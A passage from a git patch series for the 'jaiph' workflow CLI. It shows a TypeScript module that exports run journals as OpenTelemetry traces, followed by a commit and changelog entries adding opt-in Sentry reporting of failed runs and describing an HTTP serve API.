terminal state, by reading the + * run's `run_summary.jsonl` — never inside the runtime/emitter. The journal is + * complete (it carries the WORKFLOW and PROMPT records the live stderr stream omits), + * already credential-redacted, and host-visible in every sandbox mode, so nothing + * new crosses the container boundary. Telemetry is never load-bearing: an + * unreachable or erroring collector produces exactly one stderr warning and never + * affects the run's exit code, output, or journal. + * + * Only OTLP/HTTP with a JSON payload (`http/json`) is spoken. Zero runtime + * dependencies — a `node:https`/`node:http` request is the whole transport. + */ +import { existsSync, readFileSync } from "node:fs"; +import { join } from "node:path"; +import { createHash } from "node:crypto"; +import http from "node:http"; +import https from "node:https"; +import { VERSION } from "../../version"; + +/** Metadata the pure mapper needs beyond the journal lines themselves. */ +export interface OtlpMeta { + /** Root workflow symbol (`default` for `jaiph run`, the tool symbol for MCP). */ + workflow: string; + /** Child exit status; nonzero marks the root span ERROR. */ + exitStatus: number; + /** Terminating signal, when the run was killed; marks the root span ERROR. */ + signal: string | null; + /** `service.name` resource attribute (OTEL_SERVICE_NAME, default `jaiph`). */ + serviceName: string; + /** Extra resource attributes (OTEL_RESOURCE_ATTRIBUTES pairs + `jaiph.version`). */ + resourceAttributes: Record; +} + +/** One OTLP AnyValue-wrapped attribute. */ +interface OtlpAttr { + key: string; + value: { stringValue: string } | { intValue: string }; +} + +type JournalEvent = Record; + +/** SPAN_KIND_INTERNAL. */ +const SPAN_KIND_INTERNAL = 1; +/** STATUS_CODE_OK / STATUS_CODE_ERROR. */ +const STATUS_CODE_OK = 1; +const STATUS_CODE_ERROR = 2; + +function sha256hex(data: string): string { + return createHash("sha256").update(data, "utf8").digest("hex"); +} + +/** Span id = first 16 hex chars of sha256(). Deterministic per journal. */ +function spanIdFor(eventId: string): string { + return sha256hex(eventId).slice(0, 16); +} + +/** ISO timestamp (`2026-04-21T16:02:18Z`) → nanoseconds-since-epoch string. */ +function tsToNano(ts: string | undefined): string { + if (!ts) return "0"; + const ms = Date.parse(ts); + if (Number.isNaN(ms)) return "0"; + return (BigInt(ms) * 1_000_000n).toString(); +} + +function strAttr(key: string, value: string): OtlpAttr { + return { key, value: { stringValue: value } }; +} + +function intAttr(key: string, value: number): OtlpAttr { + return { key, value: { intValue: String(value) } }; +} + +function asString(v: unknown): string { + return typeof v === "string" ? v : ""; +} + +function asNumberOrNull(v: unknown): number | null { + return typeof v === "number" ? v : null; +} + +/** + * Map journal lines + run metadata to an OTLP/HTTP JSON `ExportTraceServiceRequest`. + * + * Pure: identical input yields byte-identical output, so re-exporting a run + * produces the same trace/span ids (trace id = run id UUID with dashes stripped; + * span id = first 16 hex of sha256(event id)). + */ +export function runSummaryToOtlp(lines: string[], meta: OtlpMeta): Record { + const events: JournalEvent[] = []; + for (const line of lines) { + const trimmed = line.trim(); + if (trimmed.length === 0) continue; + try { + events.push(JSON.parse(trimmed) as JournalEvent); + } catch { + // A malformed line never blocks the export — telemetry is best-effort. + } + } + + const runId = + asString(events.find((e) => typeof e.run_id === "string")?.run_id) || ""; + const traceId = runId.replace(/-/g, ""); + const rootSpanId = spanIdFor(runId); + + const wfStart = events.find((e) => e.type === "WORKFLOW_START"); + const wfEnd = events.find((e) => e.type === "WORKFLOW_END"); + const firstTs = asString(events[0]?.ts); + const lastTs = asString(events[events.length - 1]?.ts) || firstTs; + const rootStart = asString(wfStart?.ts) || firstTs; + const rootEnd = asString(wfEnd?.ts) || lastTs; + const source = asString(wfStart?.source) || asString(wfEnd?.source); + const runFailed = meta.exitStatus !== 0 || meta.signal != null; + + const spans: Record[] = []; + + // Root span — one per run. + spans.push({ + traceId, + spanId: rootSpanId, + name: `workflow ${meta.workflow}`, + kind: SPAN_KIND_INTERNAL, + startTimeUnixNano: tsToNano(rootStart), + endTimeUnixNano: tsToNano(rootEnd), + status: runFailed + ? { + code: STATUS_CODE_ERROR, + message: meta.signal ? `terminated by signal ${meta.signal}` : `exit status ${meta.exitStatus}`, + } + : { code: STATUS_CODE_OK }, + events: logSpanEvents(events), + }); + + // One span per STEP_START/STEP_END pair, matched by event id. + const stepEnds = new Map(); + for (const e of events) { + if (e.type === "STEP_END" && typeof e.id === "string") stepEnds.set(e.id, e); + } + for (const start of events) { + if (start.type !== "STEP_START" || typeof start.id !== "string") continue; + const end = stepEnds.get(start.id); + const parentId = asString(start.parent_id); + const status = end ? asNumberOrNull(end.status) : null; + const failed = end ? status != null && status !== 0 : true; + const attrs: OtlpAttr[] = [ + strAttr("jaiph.step.kind", asString(start.kind)), + strAttr("jaiph.step.func", asString(start.func)), + strAttr("jaiph.step.name", asString(start.name)), + intAttr("jaiph.step.seq", asNumberOrNull(start.seq) ?? 0), + intAttr("jaiph.step.depth", asNumberOrNull(start.depth) ?? 0), + ]; + if (status != null) attrs.push(intAttr("jaiph.step.status", status)); + const elapsed = end ? asNumberOrNull(end.elapsed_ms) : null; + if (elapsed != null) attrs.push(intAttr("jaiph.step.elapsed_ms", elapsed)); + // Redacted-in-journal captures — surfaces step output in the trace without + // ever touching the raw (unredacted) capture files. + const outContent = end ? asString(end.out_content) : ""; + if (outContent.length > 0) attrs.push(strAttr("jaiph.step.out", outContent)); + const errContent = end ? asString(end.err_content) : ""; + if (errContent.length > 0) attrs.push(strAttr("jaiph.step.err", errContent)); + spans.push({ + traceId, + spanId: spanIdFor(start.id), + parentSpanId: parentId ? spanIdFor(parentId) : rootSpanId, + name: `${asString(start.kind)} ${asString(start.name)}`.trim(), + kind: SPAN_KIND_INTERNAL, + startTimeUnixNano: tsToNano(asString(start.ts)), + endTimeUnixNano: tsToNano(end ? asString(end.ts) : lastTs), + status: failed ? { code: STATUS_CODE_ERROR } : { code: STATUS_CODE_OK }, + attributes: attrs, + }); + } + + // PROMPT_START/PROMPT_END pairs → child spans of their step_id. No `id` field, + // so pair FIFO per step_id and derive a deterministic span id from the ordinal. + const openPrompts = new Map>(); + let promptIndex = 0; + for (const e of events) { + if (e.type === "PROMPT_START") { + const stepId = asString(e.step_id); + const list = openPrompts.get(stepId) ?? []; + list.push({ start: e, index: promptIndex }); + openPrompts.set(stepId, list); + promptIndex += 1; + } else if (e.type === "PROMPT_END") { + const stepId = asString(e.step_id); + const open = openPrompts.get(stepId); + const match = open?.shift(); + if (match) spans.push(promptSpan(traceId, rootSpanId, match.start, e, match.index, lastTs)); + } + } + // Unmatched PROMPT_START (crash mid-prompt) closes at the last event, ERROR. + for (const list of openPrompts.values()) { + for (const { start, index } of list) { + spans.push(promptSpan(traceId, rootSpanId, start, null, index, lastTs)); + } + } + + return { + resourceSpans: [ + { + resource: { attributes: resourceAttributes(meta, runId, source) }, + scopeSpans: [{ scope: { name: "jaiph", version: VERSION }, spans }], + }, + ], + }; +} + +function promptSpan( + traceId: string, + rootSpanId: string, + start: JournalEvent, + end: JournalEvent | null, + index: number, + lastTs: string, +): Record { + const stepId = asString(start.step_id); + const status = end ? asNumberOrNull(end.status) : null; + const failed = end ? status != null && status !== 0 : true; + const attrs: OtlpAttr[] = [strAttr("jaiph.prompt.backend", asString(start.backend))]; + const model = asString(end?.model) || asString(start.model); + if (model.length > 0) attrs.push(strAttr("jaiph.prompt.model", model)); + if (status != null) attrs.push(intAttr("jaiph.prompt.status", status)); + return { + traceId, + spanId: spanIdFor(`prompt:${stepId}:${index}`), + parentSpanId: stepId ? spanIdFor(stepId) : rootSpanId, + name: `prompt ${asString(start.backend)}`.trim(), + kind: SPAN_KIND_INTERNAL, + startTimeUnixNano: tsToNano(asString(start.ts)), + endTimeUnixNano: tsToNano(end ? asString(end.ts) : lastTs), + status: failed ? { code: STATUS_CODE_ERROR } : { code: STATUS_CODE_OK }, + attributes: attrs, + }; +} + +/** LOGERR/LOGWARN events become span events on the root span. */ +function logSpanEvents(events: JournalEvent[]): Record[] { + const out: Record[] = []; + for (const e of events) { + if (e.type !== "LOGERR" && e.type !== "LOGWARN") continue; + out.push({ + timeUnixNano: tsToNano(asString(e.ts)), + name: "log", + attributes: [strAttr("level", asString(e.type)), strAttr("message", asString(e.message))], + }); + } + return out; +} + +function resourceAttributes(meta: OtlpMeta, runId: string, source: string): OtlpAttr[] { + const merged: Record = { + "service.name": meta.serviceName, + ...meta.resourceAttributes, + "jaiph.run_id": runId, + "jaiph.workflow": meta.workflow, + "jaiph.source": source, + }; + return Object.entries(merged).map(([k, v]) => strAttr(k, v)); +} + +/** + * Resolve the OTLP traces endpoint from standard OTEL env. The traces-specific + * endpoint is used verbatim; the generic endpoint is a base URL with `/v1/traces` + * appended. Traces-specific wins when both are set. Returns undefined (export + * disabled) when neither is set. + */ +export function resolveOtlpEndpoint(env: NodeJS.ProcessEnv): string | undefined { + const traces = env.OTEL_EXPORTER_OTLP_TRACES_ENDPOINT?.trim(); + if (traces) return traces; + const base = env.OTEL_EXPORTER_OTLP_ENDPOINT?.trim(); + if (base) return `${base.replace(/\/+$/, "")}/v1/traces`; + return undefined; +} + +/** Parse a comma-separated `k=v` list (OTEL_EXPORTER_OTLP_HEADERS / _RESOURCE_ATTRIBUTES). */ +export function parseKeyValueList(raw: string | undefined): Record { + const out: Record = {}; + if (!raw) return out; + for (const part of raw.split(",")) { + const p = part.trim(); + if (p.length === 0) continue; + const eq = p.indexOf("="); + if (eq <= 0) continue; + const key = p.slice(0, eq).trim(); + const value = p.slice(eq + 1).trim(); + if (key.length > 0) out[key] = value; + } + return out; +} + +/** POST the payload as JSON with a 10 s timeout. Rejects on non-2xx / transport error. */ +function postOtlp( + endpoint: string, + payload: Record, + headers: Record, +): Promise { + return new Promise((resolve, reject) => { + let url: URL; + try { + url = new URL(endpoint); + } catch { + reject(new Error(`invalid endpoint ${endpoint}`)); + return; + } + const body = JSON.stringify(payload); + const lib = url.protocol === "https:" ? https : http; + const req = lib.request( + url, + { + method: "POST", + headers: { + "content-type": "application/json", + "content-length": Buffer.byteLength(body), + ...headers, + }, + }, + (res) => { + res.resume(); + res.on("end", () => { + const code = res.statusCode ?? 0; + if (code >= 200 && code < 300) resolve(); + else reject(new Error(`collector returned HTTP ${code}`)); + }); + }, + ); + req.setTimeout(10_000, () => req.destroy(new Error("timed out after 10s"))); + req.on("error", reject); + req.write(body); + req.end(); + }); +} + +/** Options for the shared post-run export hook. */ +export interface ExportRunTelemetryOptions { + /** Absolute host run directory; its `run_summary.jsonl` is the export source. */ + runDir?: string; + workflow: string; + exitStatus: number; + signal: string | null; + env: NodeJS.ProcessEnv; +} + +/** + * Single shared post-run hook, invoked wherever a run reaches terminal state on + * the host (`jaiph run` completion, the shared workflow-call layer). Enabled iff + * an OTLP traces endpoint is configured. Best-effort: any failure produces one + * stderr warning and nothing else. + */ +export async function exportRunTelemetry(opts: ExportRunTelemetryOptions): Promise { + const { runDir, workflow, exitStatus, signal, env } = opts; + const endpoint = resolveOtlpEndpoint(env); + if (!endpoint) return; + + const protocol = env.OTEL_EXPORTER_OTLP_PROTOCOL?.trim(); + if (protocol && protocol !== "http/json") { + process.stderr.write( + `jaiph: OTLP trace export skipped — unsupported OTEL_EXPORTER_OTLP_PROTOCOL "${protocol}" (only http/json is supported)\n`, + ); + return; + } + + if (!runDir) return; + const summaryFile = join(runDir, "run_summary.jsonl"); + if (!existsSync(summaryFile)) return; + let lines: string[]; + try { + lines = readFileSync(summaryFile, "utf8").split("\n"); + } catch { + return; + } + if (lines.every((l) => l.trim().length === 0)) return; + + const serviceName = env.OTEL_SERVICE_NAME?.trim() || "jaiph"; + const resourceAttrs = { + ...parseKeyValueList(env.OTEL_RESOURCE_ATTRIBUTES), + "jaiph.version": VERSION, + }; + const payload = runSummaryToOtlp(lines, { workflow, exitStatus, signal, serviceName, resourceAttributes: resourceAttrs }); + const headers = parseKeyValueList(env.OTEL_EXPORTER_OTLP_HEADERS); + + try { + await postOtlp(endpoint, payload, headers); + } catch (err) { + process.stderr.write( + `jaiph: OTLP trace export failed — ${err instanceof Error ? err.message : String(err)}\n`, + ); + } +} From f48df9f21d5e37bbca06a82d745125b32876af55 Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Fri, 24 Jul 2026 09:41:23 +0200 Subject: [PATCH 04/24] Feat: report failed runs to Sentry as error events MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A run that terminates unsuccessfully (nonzero exit or a signal) is now pushed to a Sentry error tracker as a single error event, enabled iff SENTRY_DSN is set. Operators running workflows on a schedule or as a service get alerting and grouping without scraping run directories. The new dependency-free src/cli/telemetry/sentry.ts hand-rolls a Sentry envelope POST over node:https, sharing the timeout-guarded POST helper extracted into src/cli/telemetry/http.ts (otlp.ts now reuses it too). Reporting fires from the single shared post-run hook that all modes funnel through, so it is one choke point across jaiph run and the MCP/HTTP call layer. Event content — message, tags, extra, fingerprint, release, environment — is sourced only from the already credential- redacted run_summary.jsonl; re-occurrences group per workflow + failing step. Like trace export it is host-side, end-of-run, and never load- bearing: unreachable Sentry, a non-2xx response, or a timeout produces exactly one stderr warning and leaves the run's exit code and output untouched. Successful runs send nothing. SENTRY_DSN/SENTRY_ENVIRONMENT/SENTRY_RELEASE are documented in the env-vars telemetry section and docs/observability.md. No JAIPH_* vars added; dependencies remain empty. Co-Authored-By: Claude Opus 4.8 (1M context) --- CHANGELOG.md | 4 + QUEUE.md | 32 ---- README.md | 1 + docs/env-vars.md | 13 ++ docs/index.html | 6 + docs/observability.md | 49 +++++- integration/sentry-export.test.ts | 267 ++++++++++++++++++++++++++++++ src/cli/telemetry/http.ts | 54 ++++++ src/cli/telemetry/otlp.ts | 59 +++---- src/cli/telemetry/sentry.test.ts | 175 ++++++++++++++++++++ src/cli/telemetry/sentry.ts | 210 +++++++++++++++++++++++ 11 files changed, 797 insertions(+), 73 deletions(-) create mode 100644 integration/sentry-export.test.ts create mode 100644 src/cli/telemetry/http.ts create mode 100644 src/cli/telemetry/sentry.test.ts create mode 100644 src/cli/telemetry/sentry.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index 38cc63fb..16ff218f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,10 +6,14 @@ - **Export traces to an OTLP collector:** every run now exports one OpenTelemetry span tree (workflow → steps → prompts) to any OTLP/HTTP collector — a local `otel-collector`, Grafana Tempo, Honeycomb, Datadog — enabled by the standard `OTEL_EXPORTER_OTLP_ENDPOINT`. Export is host-side and end-of-run (it reads the run's already credential-redacted `run_summary.jsonl`), adds no runtime dependencies, and is never load-bearing: an unreachable or erroring collector produces exactly one stderr warning and leaves the run's exit code, output, and journal untouched. +- **Report failed runs to Sentry:** a run that terminates *unsuccessfully* (nonzero exit or a signal) is now pushed to a Sentry error tracker as one error event — enabled by the standard `SENTRY_DSN` — so operators running workflows on a schedule or as a service get alerting and grouping without scraping run directories. The event carries the workflow, the failing step, a credential-redacted output excerpt, and a run-dir pointer, and groups re-occurrences per workflow + failing step. Like trace export it is host-side, end-of-run, adds no runtime dependencies, and is never load-bearing: an unreachable or erroring Sentry produces exactly one stderr warning and leaves the run's exit code and output untouched. Successful runs send nothing. + ## All changes - **Feat — OTLP trace export: one span tree per run, zero dependencies:** A completed run now exports as an OpenTelemetry trace to any OTLP/HTTP collector (a local `otel-collector`, Grafana Tempo, Honeycomb, Datadog), so operators running workflows in CI or as a service get a per-run latency breakdown and failure signal in a standard observability stack instead of only the local run dir. Export is **host-side and end-of-run**, in the new `src/cli/telemetry/otlp.ts` (zero runtime dependencies — a `node:https`/`node:http` request is the whole transport): after a run reaches terminal state the CLI reads *that run's* `run_summary.jsonl` and posts one trace. Nothing new crosses the sandbox boundary and no `OTEL_*` variable is forwarded into the container — the journal is complete (it carries the `WORKFLOW_*`/`PROMPT_*` records the live stderr stream omits), already credential-redacted by `RuntimeEventEmitter`, and host-visible in every sandbox mode (the run dir is a host mount); runs are minutes long, so end-of-run batching is the normal OTLP pattern anyway. The pure `runSummaryToOtlp(lines, meta)` maps journal lines + `{workflow, exitStatus, signal, serviceName, resourceAttributes}` to an OTLP/HTTP **JSON** `ExportTraceServiceRequest`: **trace id** = the run-id UUID with dashes stripped (32 hex, per the spec's JSON mapping), **span id** = first 16 hex of `sha256()` — deterministic, so re-exporting a run yields byte-identical ids. One **root span** `workflow ` per run (`WORKFLOW_START`→`WORKFLOW_END` timestamps, falling back to first/last event `ts`; status `ERROR` when the run exits nonzero or a signal killed it, else `OK`; each `LOGERR`/`LOGWARN` becomes a span event on it); one **step span** per `STEP_START`/`STEP_END` pair matched by event `id`, parented via `parent_id` (root when null), `kind: SPAN_KIND_INTERNAL`, attributes `jaiph.step.{kind,func,name,seq,depth,status,elapsed_ms}` plus the redacted `jaiph.step.out`/`jaiph.step.err` captures, span status `ERROR` on a nonzero step status; **prompt spans** as children of their `step_id` with `jaiph.prompt.{backend,model,status}`. A `STEP_START` with no matching `STEP_END` (a crash) closes at the last event's `ts` with status `ERROR`; ISO `ts` → `timeUnixNano` strings. Resource attributes: `service.name` from `OTEL_SERVICE_NAME` (default `jaiph`), the `OTEL_RESOURCE_ATTRIBUTES` pairs, plus `jaiph.version`, `jaiph.run_id`, `jaiph.workflow`, `jaiph.source`. **Enablement is standard OTEL env — no new `JAIPH_*`:** export runs iff `OTEL_EXPORTER_OTLP_TRACES_ENDPOINT` (used verbatim) or `OTEL_EXPORTER_OTLP_ENDPOINT` (base URL, `/v1/traces` appended) is set (traces-specific wins when both are); `OTEL_EXPORTER_OTLP_HEADERS` (comma-separated `k=v`) is applied; only `http/json` is spoken — any other `OTEL_EXPORTER_OTLP_PROTOCOL` (e.g. `grpc`) warns on stderr and skips rather than mis-speak a protocol. A single shared hook `exportRunTelemetry({runDir, workflow, exitStatus, signal, env})` fires at every host terminal state — `jaiph run` completion (`reportResult` in `src/cli/commands/run.ts`) and the shared workflow-call layer (`src/cli/exec/call.ts`, covering every MCP `tools/call` and `jaiph serve` invocation) — one choke point covering host, Docker snapshot, and inplace modes. **Telemetry is never load-bearing:** an unreachable or erroring collector (or the 10 s timeout) produces exactly one stderr warning line and leaves the run's exit code, output, and journal untouched — no retries, no queue. Tests: `src/cli/telemetry/otlp.test.ts` (fixture journals — trace id from run id, step parenting per `parent_id`, prompt child of `step_id` with backend/model, failed step → span status 2, nonzero exit → root status 2, ISO→nano strings, unmatched `STEP_START` closes ERROR at the last event time, deterministic ids across two invocations; endpoint-resolution precedence, header parsing, `http/json`-only guard) and `integration/otlp-export.test.ts` (a fake collector receives exactly one well-formed POST to `/v1/traces` after a `jaiph run` with the env set, and nothing with no OTEL env; a `500` and a connection-refused collector each leave exit `0` with exactly one stderr warning; a shared-call/MCP invocation triggers exactly one export per call; a credential echoed in step output appears in the payload only as `[REDACTED]`). `package.json` `dependencies` stays absent. Docs: new [Export traces to an OTLP collector](observability.md) how-to, a "Telemetry variables" section in [Environment variables](env-vars.md), a README feature bullet, and the features overview on `docs/index.html`. (Observability feedback `2026-07-23` — "OTEL + Sentry configurable would be the easiest way".) +- **Feat — Sentry error reporting on failed runs, zero dependencies:** A run that reaches an *unsuccessful* terminal state (nonzero exit or a terminating signal) is now reported to a Sentry error tracker as one **error event**, so teams running jaiph workflows on schedules or as a service (CI, Kubernetes) get failures pushed to their tracker with enough context to triage — instead of only a local run dir and a nonzero exit code. The new `src/cli/telemetry/sentry.ts` (zero runtime dependencies — a hand-rolled Sentry **envelope** POST is the whole transport) fires from the **same host-side, end-of-run choke point** that exports OTLP traces: the shared `exportRunTelemetry` hook (`src/cli/telemetry/otlp.ts`) now dispatches two independent, best-effort exporters — OTLP traces (every run, when a collector is set) and the Sentry report (**failed runs only**, when `SENTRY_DSN` is set) — so `jaiph run` completion and every workflow invoked through `jaiph mcp` / `jaiph serve` are all covered by one path. **Successful runs send nothing.** The timeout-guarded POST was extracted into a shared `src/cli/telemetry/http.ts` (`postWithTimeout`, `node:http`/`node:https`) that both exporters reuse. **Enablement is a standard Sentry DSN — no new `JAIPH_*`:** reporting is on iff `SENTRY_DSN` is set; the pure `parseSentryDsn` maps `https://@/` to the envelope endpoint `https:///api//envelope/` and the `X-Sentry-Auth: Sentry sentry_version=7, sentry_key=, sentry_client=jaiph/` header (a non-default port is preserved), and a malformed DSN produces exactly one stderr warning and no send. The pure `buildSentryEvent(lines, meta)` maps the run's `run_summary.jsonl` lines + `{workflow, exitStatus, signal, runDir, release, environment}` to the event, sourced **entirely from `run_summary.jsonl`** — already credential-redacted by `RuntimeEventEmitter`, never the raw `.out`/`.err` captures — so a secret in step output reaches Sentry only as `[REDACTED]`: **`event_id`** = the run-id UUID with dashes stripped; `timestamp`; `platform: node`; `level: error`; **`message.formatted`** = `workflow failed (exit N)`, or `terminated by signal S` (the signal wins over the exit code); **`tags`** `jaiph.workflow`, `jaiph.source` (source file basename), and the first failing `STEP_END`'s `jaiph.step.kind` / `jaiph.step.name` when known; **`extra`** `failing_step_detail` (that step's redacted `err_content`/`out_content` excerpt) and `run_dir`; **`fingerprint`** `["jaiph", , ]`, so re-occurrences group per workflow + failing step; **`release`** from `SENTRY_RELEASE` or `jaiph@`, and **`environment`** from `SENTRY_ENVIRONMENT` when set. `buildEnvelope` frames the body as three newline-separated JSON documents — an envelope header (`event_id` + `sent_at`), an item header (`type: event`), and the event JSON. **Never load-bearing:** an unreachable or erroring Sentry, a non-2xx status, or the 10 s timeout produces exactly one stderr warning and leaves the run's exit code, output, and journal untouched — no retries, no queue. Tests: `src/cli/telemetry/sentry.test.ts` (DSN endpoint + auth header, non-default port preserved, malformed → null/no-send; `event_id` matches the run-id hex; exit-code vs signal message, fingerprint, tags, and redacted-source excerpt; environment included only when set; no-failing-step → `unknown` fingerprint tail and no step tags; envelope framing as three JSON documents; a successful run and a failed run without a DSN send and warn nothing, a malformed DSN warns exactly once) and `integration/sentry-export.test.ts` (a fake Sentry HTTP server — a failing `jaiph run` with `SENTRY_DSN` delivers exactly one envelope carrying the failing step tag and redacted excerpt; a succeeding run and a failing run **without** `SENTRY_DSN` deliver nothing; a `500` and a connection-refused Sentry each leave the exit code at the no-DSN baseline with exactly one stderr warning; a credential echoed in the failing step's output reaches the delivered event only as `[REDACTED]`). `package.json` `dependencies` stays absent. Docs: a new [Report failed runs to Sentry](observability.md#report-failed-runs-to-sentry) section in [Export traces to an OTLP collector](observability.md), `SENTRY_DSN` / `SENTRY_ENVIRONMENT` / `SENTRY_RELEASE` rows in the telemetry section of [Environment variables](env-vars.md), a README feature bullet, and the features overview on `docs/index.html`. (Observability feedback `2026-07-23` — the Sentry half of "OTEL + Sentry configurable".) + - **Feat — `jaiph serve` run inspection: live event stream + artifact download:** A `jaiph serve` client can now watch what a run is doing while it executes and retrieve the files it publishes, not just read its terminal result. Three new bearer-gated endpoints (`src/cli/serve/runfiles.ts` + routes in `src/cli/serve/handler.ts`, documented in the generated OpenAPI via `src/cli/serve/openapi.ts`) read from the run's durable, host-visible run directory — the same `run_summary.jsonl` journal and `artifacts/` tree `jaiph run` writes. **`GET /v1/runs/{id}/events`** serves the run's `run_summary.jsonl`: by default the whole journal as `application/x-ndjson`, verbatim, then closes; with `Accept: text/event-stream` it switches to **Server-Sent Events** — `streamRunEventsSse` replays every existing line as `data: `, then follows the file as it appends (polling ~250 ms), emits a `:ka` keep-alive comment every 15 s, and closes with `event: end` once the server's run registry marks the run terminal (so it works identically for a still-running run and an already-terminal one: full replay plus an immediate `end`). **`GET /v1/runs/{id}/artifacts`** returns `{artifacts: [{path, size, mtime}, …]}` for every regular file under the run's `artifacts/` (recursive, `[]` when none). **`GET /v1/runs/{id}/artifacts/{path}`** downloads one file as `application/octet-stream` with a `Content-Disposition` filename. All three are `404` on an unknown run id and `401` unauthenticated. To reach a run that is *still executing* — whose dir is only recorded on its record at finalize — the server injects a `resolveRunDir` resolver (`src/cli/commands/serve.ts`) that falls back to scanning the host runs root for the run id via `findRunDir` (`src/cli/shared/errors.ts`), which also resolves the **Docker-mode** host-side run dir (the run dir is a host mount in every sandbox mode). The HTTP layer grew a streaming path: `ServeResponse` now carries an optional `bodyBuffer` (binary bodies — NDJSON journal, artifact bytes) and a `stream(target)` hook driven by `src/cli/serve/server.ts`'s `makeStreamTarget`, which wires SSE writes to the socket and flips `aborted` (stopping the follow loop) the moment the client disconnects. **Security:** the journal is served **verbatim** — the credential redaction `RuntimeEventEmitter` already applies (values of `*_API_KEY` / `*_TOKEN` / `*_SECRET` env vars → `[REDACTED]`) *is* the redaction guarantee — and the raw per-step `%06d-*.out` / `.err` capture files are unreachable **by construction**: `listArtifacts` walks only the `artifacts/` subtree (the captures live in the run-dir root), and downloads go through `resolveArtifactPath`, which is traversal-proof via three guards checked before any read — reject empty/NUL requests, lexical containment (`resolve()` collapses `..`/absolute paths and the result must sit under `artifacts/`), and **symlink** containment (`realpathSync` on both the artifacts dir and the candidate — an `artifacts/` symlink pointing outside is rejected without reading its target, while one pointing inside still serves). Tests: `src/cli/serve/runfiles.test.ts` (artifact listing skips `.out`/`.err` captures; the full traversal battery — `../`, absolute, empty/NUL, directory, escaping symlink rejected without reading the target, inside-pointing symlink served, and a capture-file symlink rejected; SSE replays a terminal journal as `data:` frames then `event: end`, and stops promptly on client disconnect), `integration/serve-server.test.ts` (SSE mid-run: replayed `WORKFLOW_START`, a `STEP_END` **before** the run is terminal, `event: end` + socket close after completion, and the concatenated `data:` payloads equal the final journal line set; NDJSON on a terminal run byte-matches the journal; unknown run → `404`; unauthenticated → `401`; a credential echoed by a run is absent and `[REDACTED]` present in the stream; artifacts list-then-download round-trips byte-identically and a traversal is `404`), and `e2e/tests/147_serve_http_api.sh` (NDJSON byte-matches `run_summary.jsonl`; artifact list + byte-identical download; URL-encoded `%2e%2e` traversal → `404`). Docs: "Watch a run as it executes" and "Download a run's artifacts" sections in [Serve workflows over HTTP](serve.md) (with the raw-captures non-exposure called out as a security property), and the three endpoint rows in the `jaiph serve` table in [CLI](cli.md). (Deployability feedback `2026-07-23` — "a UI on top to be able to inspect what it is doing"; contract in `design/2026-07-23-serve-http-api.md` § Events streaming.) - **Feat — `jaiph serve`: HTTP API with OpenAPI 3.1 + Swagger UI:** A new command turns a `.jh` file into a network-reachable, self-describing HTTP service, complementing `jaiph mcp` (which exposes the same workflows only over stdio JSON-RPC to a co-located parent). `jaiph serve [--host ] [--port ] [--workspace

    ] [--env KEY[=VALUE]]... ` (default `127.0.0.1:5247`) is dispatched from `src/cli/index.ts` and implemented in `src/cli/commands/serve.ts` + `src/cli/serve/`, hand-rolled on `node:http` with **no runtime npm dependencies** (project policy — `package.json` `dependencies` stays absent; the MCP server set the precedent). Startup mirrors `jaiph mcp`: graph load + `collectDiagnostics` (errors to stderr, exit `1`), `--env` resolved once via `resolveEnvPairs`, Docker config + image prepared once, credential pre-flight as warnings, and a sandbox-mode notice; all logs go to stderr and one startup line prints the listen URL and the `/docs` URL. Endpoints: `GET /` → `302 /docs`; unauthenticated `GET /healthz`, `GET /openapi.json`, `GET /docs`; and bearer-gated `GET /v1/workflows`, `POST /v1/workflows/{name}/runs` (async `202` + `Location`, or `?wait=true` → terminal `200`), `GET /v1/runs`, `GET /v1/runs/{id}`, `POST /v1/runs/{id}/cancel`. A run is a durable resource `{run_id, workflow, status, started_at, ended_at, exit_status, signal, result_text, run_dir}` with `status ∈ running|succeeded|failed|cancelled`; **a workflow failure is not an HTTP error** — it comes back `200`/`202` with `status:"failed"` and the same failure narrative `jaiph mcp` returns. Errors use `{error:{code,message}}`: `400 E_BAD_ARGS`, `401 E_UNAUTHORIZED`, `404 E_NOT_FOUND`, `409 E_RUN_TERMINAL`, `413 E_BODY_TOO_LARGE` (1 MiB body cap), `415 E_UNSUPPORTED_MEDIA_TYPE` (non-`application/json` body), `429 E_TOO_MANY_RUNS`. Workflow exposure, naming, descriptions, and request-body schemas come from the shared `deriveTools` (`src/cli/mcp/tools.ts`) — identical rules to MCP (export-narrowing, route-target exclusion, `default` handling, required-string params, `additionalProperties:false`), with param validation mirroring MCP's `-32602` rules as HTTP `400`. **Auth:** bearer token from `JAIPH_SERVE_TOKEN` (env only, never argv), constant-time compared, required on all `/v1/*`; `/healthz`, `/openapi.json`, `/docs` stay unauthenticated (schema metadata only, a documented trade-off) — and binding a non-loopback `--host` without the token set is a startup error before any socket opens. **Limits:** `JAIPH_SERVE_MAX_CONCURRENT` (default `4`) caps simultaneous runs → `429`. `GET /openapi.json` returns OpenAPI **3.1.0** generated per request by the pure `buildOpenApi(tools, serverInfo)` (`src/cli/serve/openapi.ts`) — one concrete path per workflow (own `operationId`, `#`-comment description, MCP input schema as request body), the run-resource paths, run/error component schemas, and a bearer `securityScheme`. `GET /docs` serves a static Swagger UI shell (`src/cli/serve/docs.ts`) loading `swagger-ui-dist` from a CDN with a **pinned exact version + SRI `integrity` hashes + `crossorigin`** on both assets and `SwaggerUIBundle({url:"/openapi.json", persistAuthorization:true})` — no vendored assets, so `/docs` needs browser internet access and `/openapi.json` is the offline fallback (air-gap consequence recorded in the design doc). Execution reuses the MCP call layer, **moved** from `src/cli/mcp/call.ts` to `src/cli/exec/call.ts` (`McpCallResult` → `WorkflowCallResult`, caller now supplies `runId`, result extended with `{runDir?, exitStatus?, signal?}`); sandbox selection, `--env` passthrough, and cancellation (child kill + `stopDockerContainer`) work exactly as for MCP calls. The generation/hot-reload machinery (`loadState`, watch/rewatch, generation dirs) was extracted from `src/cli/commands/mcp.ts` into `src/cli/shared/generation.ts` and is now shared by both commands; editing a served source re-derives the workflow set and the OpenAPI document with no restart, and a superseded generation's scripts dir is deleted only after its in-flight runs finish (refcounted, since HTTP runs can outlive a reload). Shutdown: the first `SIGINT`/`SIGTERM` stops accepting and drains in-flight runs, a second signal cancels them, exit `0`. `jaiph mcp` behavior is unchanged after the extraction (its own tests prove it). Tests: `src/cli/serve/handler.test.ts` (injected-deps handler — unknown workflow `404`; missing / non-string / unexpected param `400`; cancel `202` → terminal 